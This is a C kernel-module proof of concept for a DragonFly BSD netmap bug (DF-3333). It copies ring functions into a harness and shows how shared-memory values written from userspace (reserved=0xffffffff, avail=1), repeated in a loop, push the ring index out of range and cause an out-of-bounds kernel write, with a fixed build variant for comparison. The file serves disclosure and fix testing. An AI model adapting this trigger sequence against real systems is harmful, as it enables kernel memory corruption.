DF-3333 / df3333_kmod.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 | /* * DF-3333 PoC โ nm_kr_rxpos() single-subtract insufficiency turns the * DF-0359-style nr_hwavail/nr_hwcur corruption (reachable by lying through * the mmap()ed shared ring in netmap_rxsync_from_host, netmap.c:884-929) * into an out-of-bounds slot access + OOB WRITE in netmap_transmit() * (netmap.c:2011-2044): slot = &ring->slot[i] with i up to * 2*num_slots-2, then slot->len = len / slot->flags = ... land past the * end of the slot array. * * As with DF-3332, the netmap subsystem does not compile on current * DragonFly (netmap_kern.h:747 / ifnet.if_unused7 bit-rot), so the two * vulnerable functions are copied VERBATIM into a standalone KLD and run * in a real kernel, against a fake "pool" laid out as: * * [ struct netmap_ring header | 1024 slots (the real ring) ] * [ 1024 extra marker slots (simulate adjacent pool objects) ] * * The choreography is exactly what an mmap()ed userspace thread can do * (ring->cur/reserved/avail are user-writable shared-memory fields): * reserved = 0xffffffff, avail = 1 -> resvd + avail wraps to 0, * bypassing the "resvd + avail >= lim+1" guard (netmap.c:910). * * Build: make -> df3333.ko (vulnerable) * make fixed -> df3333f.ko (-DDD3333_FIXED) * Run: sysctl -n debug.df3333.trigger=1 */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/time.h> #include <net/if.h> #include <net/netmap/netmap.h> /* ---------------- stubs for netmap machinery (documented) -------------- */ #define NETMAP_BDG_BUF_SIZE(na) (2048) /* netmap_mem2.h:210 */ #define BDG_NMB(na, slot) (df_buf) /* netmap_kern.h:857 */ #define lockmgr(l, f) ((void)0) #define KNOTE(x, y) ((void)0) #define D(format, ...) kprintf("df3333: " format "\n", ##__VA_ARGS__) #define ND(format, ...) /* nothing */ struct netmap_adapter { void *nm_mem; void *ifp; }; struct df_mbuf { int len; }; static struct df_mbuf df_m; static char df_buf[2048]; struct netmap_kring { struct netmap_ring *ring; uint32_t nr_hwcur, nr_hwavail; uint32_t nkr_num_slots; uint16_t nkr_slot_flags; volatile int nkr_stopped; struct netmap_adapter *na; }; struct mbq { int len; }; /* struct thread comes from the real kernel headers (opaque here) */ /* forward decls used by the verbatim functions below */ static struct netmap_kring *df_rx_kring; static u_int df3333_pos_used; static void m_copydata(struct df_mbuf *m, int off, int len, char *dst) { (void)m; (void)off; memcpy(dst, "DF3333-PAYLOAD", len < 14 ? len : 14); } static void __unused m_freem(struct df_mbuf *m) { (void)m; } /* VERBATIM netmap_kern.h:540-556 (dead code #if 0 block elided) */ static inline uint32_t nm_kr_rxpos(struct netmap_kring *k) { uint32_t pos = k->nr_hwcur + k->nr_hwavail; if (pos >= k->nkr_num_slots) pos -= k->nkr_num_slots; #ifdef DD3333_FIXED /* DF-3333 fix: full modulo โ the single subtract above assumes * hwcur+hwavail < 2*num_slots, which a corrupted ring violates */ if (pos >= k->nkr_num_slots) pos -= k->nkr_num_slots; #endif return pos; } /* * ===== VERBATIM netmap_rxsync_from_host() core from netmap.c:884-929 * (selrecord/pwait dropped; INSTRUMENTATION marks additions) */ static void netmap_rxsync_from_host(struct netmap_adapter *na, struct thread *td) { struct netmap_kring *kring = df_rx_kring; /* netmap.c:887 */ struct netmap_ring *ring = kring->ring; u_int j, n, lim = kring->nkr_num_slots; /* NOTE: num_slots, not -1 */ u_int k = ring->cur, resvd = ring->reserved; (void)td; if (kring->nkr_stopped) return; /* lockmgr(&kring->q_lock, LK_EXCLUSIVE); -- stubbed */ if (k >= lim) { /* netmap_ring_reinit(kring) -- not needed for PoC */ goto unlock_out; } /* new packets are already set in nr_hwavail */ /* skip past packets that userspace has released */ j = kring->nr_hwcur; if (resvd > 0) { if (resvd + ring->avail >= lim + 1) { /* netmap.c:910 */ ND("XXX invalid reserve/avail %d %d", resvd, ring->avail); ring->reserved = resvd = 0; // XXX panic... } if (resvd) /* INSTRUMENT: skip if reset */ k = (k >= resvd) ? k - resvd : k + lim - resvd; } if (j != k) { n = k >= j ? k - j : k + lim - j; kring->nr_hwavail -= n; kring->nr_hwcur = k; } k = ring->avail = kring->nr_hwavail - resvd; (void)k; unlock_out: /* lockmgr(&kring->q_lock, LK_RELEASE); -- stubbed */ return; } /* * ===== VERBATIM netmap_transmit() body from netmap.c:1994-2056 * (only the q_lock-protected insert block; INSTRUMENTATION marks additions) */ static void netmap_transmit_core(struct netmap_kring *kring, struct df_mbuf *m) { u_int i, len = m->len; /* MBUF_LEN(m) */ struct netmap_slot *slot; struct netmap_adapter *na = kring->na; (void)na; /* INSTRUMENTATION: stubs below don't deref it */ /* (if_capenable & IFCAP_NETMAP) is true when registered */ if (len > NETMAP_BDG_BUF_SIZE(na->nm_mem)) /* netmap.c:2017 */ return; /* lockmgr(&kring->q_lock, LK_EXCLUSIVE); -- stubbed */ if (kring->nr_hwavail >= kring->nkr_num_slots - 1) { D("stack ring full โ hwavail %u", kring->nr_hwavail); /* netmap.c:2029 */ } else { /* compute the insert position */ i = nm_kr_rxpos(kring); /* netmap.c:2034 */ slot = &kring->ring->slot[i]; /* netmap.c:2035 โ OOB if i > lim */ m_copydata(m, 0, (int)len, BDG_NMB(na, slot)); slot->len = len; /* netmap.c:2037 โ OOB WRITE */ slot->flags = kring->nkr_slot_flags; /* netmap.c:2038 โ OOB WRITE */ kring->nr_hwavail++; df3333_pos_used = i; /* INSTRUMENTATION */ } /* lockmgr(&kring->q_lock, LK_RELEASE); -- stubbed */ } /* ===== end verbatim functions ===== */ /* ---------------------- pool & choreography ---------------------- */ #define NSLOTS 1024 /* netmap_generic_ringsize default */ #define MARKERS 1024 /* adjacent pool memory after the ring */ static struct netmap_ring *df_ring; static struct netmap_kring df_kring; static struct netmap_adapter df_na; /* * one "userspace lie" through the shared ring, exactly what an mmap()ed * thread can write before NIOCRXSYNC on the host ring */ static void user_lie(u_int cur) { df_ring->cur = cur; df_ring->reserved = 0xffffffff; /* resvd + avail wraps */ df_ring->avail = 1; netmap_rxsync_from_host(&df_na, NULL); /* netmap.c:1447 path */ } static int df3333_run(void) { u_int i, pairs = 0; int oob = -1; /* fresh ring, hwcur=0 hwavail=0 (as created) */ memset(df_ring, 0, sizeof(*df_ring) + (NSLOTS + MARKERS) * sizeof(struct netmap_slot)); *(uint32_t *)(uintptr_t)&df_ring->num_slots = NSLOTS; for (i = 0; i < NSLOTS + MARKERS; i++) { df_ring->slot[i].len = 0x4141; /* marker pattern */ df_ring->slot[i].flags = 0x4242; } df_kring.ring = df_ring; df_kring.nr_hwcur = 0; df_kring.nr_hwavail = 0; df_kring.nkr_num_slots = NSLOTS; df_kring.nkr_slot_flags = 0x0001; /* NS_BUF_CHANGED */ df_kring.na = &df_na; kprintf("df3333: choreography start (target hwcur>lim with hwavail<lim)\n"); /* * alternate cur=1023 (k=2048) and cur=0 (k=1025) as derived in the * analysis; each pair decrements hwavail by 1024 with hwcur ending * at 2048 (out of the ring's wrap-around range [0..1023]). */ do { user_lie(1023); if (df_kring.nr_hwavail < NSLOTS - 1) break; user_lie(0); pairs++; } while (pairs < 5000000); /* need ~4194302 pairs: S drops 1024/pair */ kprintf("df3333: after %u pairs: hwcur=%u hwavail=%u (0x%x)%s\n", pairs, df_kring.nr_hwcur, df_kring.nr_hwavail, df_kring.nr_hwavail, df_kring.nr_hwcur >= NSLOTS ? " <-- hwcur OUT OF RANGE" : ""); /* now the host stack sends one 60-byte packet (netmap_transmit) */ df_m.len = 60; df3333_pos_used = 0xffffffff; netmap_transmit_core(&df_kring, &df_m); kprintf("df3333: transmit used slot index %u (lim = %u)%s\n", df3333_pos_used, NSLOTS - 1, df3333_pos_used >= NSLOTS ? " <-- OUT OF BOUNDS" : ""); /* scan the marker region [NSLOTS..NSLOTS+MARKERS) for the write */ for (i = NSLOTS; i < NSLOTS + MARKERS; i++) { if (df_ring->slot[i].len == 60 && df_ring->slot[i].flags == 0x0001) { oob = (int)i; break; } } if (oob >= 0) kprintf("df3333: RESULT OOB WRITE CONFIRMED at slot[%d] " "(%d slots past end of ring) [VULNERABLE]\n", oob, oob - (NSLOTS - 1)); else kprintf("df3333: RESULT no write past ring end " "(pos=%u)%s\n", df3333_pos_used, #ifdef DD3333_FIXED " [FIXED]" #else "" #endif ); return 0; } static int df3333_sysctl(SYSCTL_HANDLER_ARGS) { int error, t = 0; error = sysctl_handle_int(oidp, &t, 0, req); if (error != 0 || req->newptr == NULL) return (error); return (df3333_run()); } SYSCTL_NODE(_debug, OID_AUTO, df3333, CTLFLAG_RW, 0, "DF-3333 trigger"); SYSCTL_PROC(_debug_df3333, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df3333_sysctl, "I", "run the verbatim rxsync->transmit chain"); static int df3333_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: df_ring = kmalloc(sizeof(*df_ring) + (NSLOTS + MARKERS) * sizeof(struct netmap_slot), M_DEVBUF, M_WAITOK | M_ZERO); df_rx_kring = &df_kring; kprintf("df3333: loaded\n"); return 0; case MOD_UNLOAD: if (df_ring) kfree(df_ring, M_DEVBUF); kprintf("df3333: unloaded\n"); return 0; default: return EOPNOTSUPP; } } static moduledata_t df3333_mod = { "df3333", df3333_modevent, NULL }; DECLARE_MODULE(df3333, df3333_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |